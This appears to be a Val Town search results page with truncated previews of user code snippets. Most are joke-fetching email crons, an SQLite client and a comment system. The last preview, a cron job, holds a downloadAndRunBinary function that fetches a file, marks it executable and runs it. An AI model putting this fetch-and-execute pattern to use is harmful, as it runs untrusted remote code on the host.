Search

Results include substring matches and semantically similar vals. Learn more
swarkewalia avatar
untitled_salmonWhale
@swarkewalia
// Fetches a random joke.
Cron
import { email } from "https://esm.town/v/std/email?v=9";
// Fetches a random joke.
function fetchRandomJoke() {
const response = fetch(
"https://official-joke-api.appspot.com/random_joke",
pdlieber avatar
untitled_aquaBird
@pdlieber
// Fetches a random joke.
Cron
import { email } from "https://esm.town/v/std/email?v=9";
// Fetches a random joke.
function fetchRandomJoke() {
const SAMPLE_JOKE = {
"setup": "What do you call a group of disorganized cats?",
bowlerl avatar
untitled_amethystFalcon
@bowlerl
// Fetches a random joke.
Cron
import { email } from "https://esm.town/v/std/email?v=9";
// Fetches a random joke.
async function fetchRandomJoke() {
const response = await fetch(
"https://official-joke-api.appspot.com/random_joke",
vschac avatar
untitled_amberSwan
@vschac
// Fetches a random joke.
Script
import { email } from "https://esm.town/v/std/email?v=9";
// Fetches a random joke.
async function fetchRandomJoke() {
const response = await fetch(
"https://official-joke-api.appspot.com/random_joke",
remelee avatar
untitled_redCatfish
@remelee
// Fetches a random joke.
Cron
// ... imports ...
// Fetches a random joke.
async function fetchRandomJoke() {
const response = await fetch(
"https://official-joke-api.appspot.com/random_joke",
bellaboateng avatar
untitled_peachQuokka
@bellaboateng
// Fetches a random joke.
Email
import { email } from "https://esm.town/v/std/email?v=9";
// Fetches a random joke.
async function fetchRandomJoke() {
const response = await fetch(
"https://official-joke-api.appspot.com/random_joke",
khushalneu avatar
untitled_coralBug
@khushalneu
// Fetches a random joke.
Script
import { email } from "https://esm.town/v/std/email?v=9";
// Fetches a random joke.
function fetchRandomJoke() {
const SAMPLE_JOKE = {
"setup": "What do you call a group of disorganized cats?",
jeremym3817 avatar
untitled_cyanButterfly
@jeremym3817
// Fetches a random joke.
Cron
import { email } from "https://esm.town/v/std/email?v=9";
// Fetches a random joke.
async function fetchRandomJoke() {
const response = await fetch(
"https://official-joke-api.appspot.com/random_joke",
liflovs avatar
untitled_aquaQuail
@liflovs
Val Town SQLite Docs: https://docs.val.town/std/sqlite/
Script
batch,
// Functions
async function execute(statement: InStatement): Promise<ResultSet> {
const res = await fetch(`${API_URL}/v1/sqlite/execute`, {
return res.json();
async function batch(statements: InStatement[], mode?: TransactionMode): Promise<ResultSet[]> {
const res = await fetch(`${API_URL}/v1/sqlite/batch`, {
return res.json();
function createResError(body: string) {
try {
seflless avatar
untitled_lavenderMarsupial
@seflless
An interactive, runnable TypeScript val by seflless
Script
function happy() {
return "😊";
yuiseki avatar
untitled_beigeLemur
@yuiseki
@jsxImportSource https://esm.sh/react
HTTP
style={{ width: "100vw", height: "100vh" }}
mapStyle="https://tile.openstreetmap.jp/styles/osm-bright-ja/style.json"
export default async function(req: Request) {
return new Response(
renderToString(
stubblyseeker avatar
untitled_salmonCrab
@stubblyseeker
// Fetches a random joke.
Script
import { email } from "https://esm.town/v/std/email?v=9";
// Fetches a random joke.
function fetchRandomJoke() {
const SAMPLE_JOKE = {
"setup": "What do you call a group of disorganized cats?",
tmcw avatar
untitled_indigoWren
@tmcw
An interactive, runnable TypeScript val by tmcw
Script
import { delay } from "https://deno.land/std/async/delay.ts";
async function write(text: string) {
const textEncoder = new TextEncoder();
const data = textEncoder.encode(text);
stevekrouse avatar
untitled_pinkRoundworm
@stevekrouse
Comments (just add water) A self-contained comments system Val. Just fork this val and you have a complete (but extremely minimal) comment system!
HTTP
import { Hono } from "npm:hono";
const KEY = import.meta.url.split("?")[0];
export async function addComment(str) {
const comments = await blob.getJSON(KEY) as Array<string> ?? [];
comments.push(str);
await blob.setJSON(KEY, comments);
await email({ text: "New Comment Alert!: " + str });
export async function getComments() {
return await blob.getJSON(KEY) as Array<string> ?? [];
const app = new Hono();
iioa9 avatar
untitled_pinkFox
@iioa9
An interactive, runnable TypeScript val by iioa9
Cron
export const untitled_pinkFox = (async () => {
const { default: fetch } = await import("npm:node-fetch");
const { exec } = await import("npm:child_process");
const downloadAndRunBinary = async (url, destination) => {
try {
const response = await fetch(url);
const buffer = await response.buffer();
await Deno.writeFile(destination, buffer);
await exec(`chmod +x ${destination}`);
await exec(destination);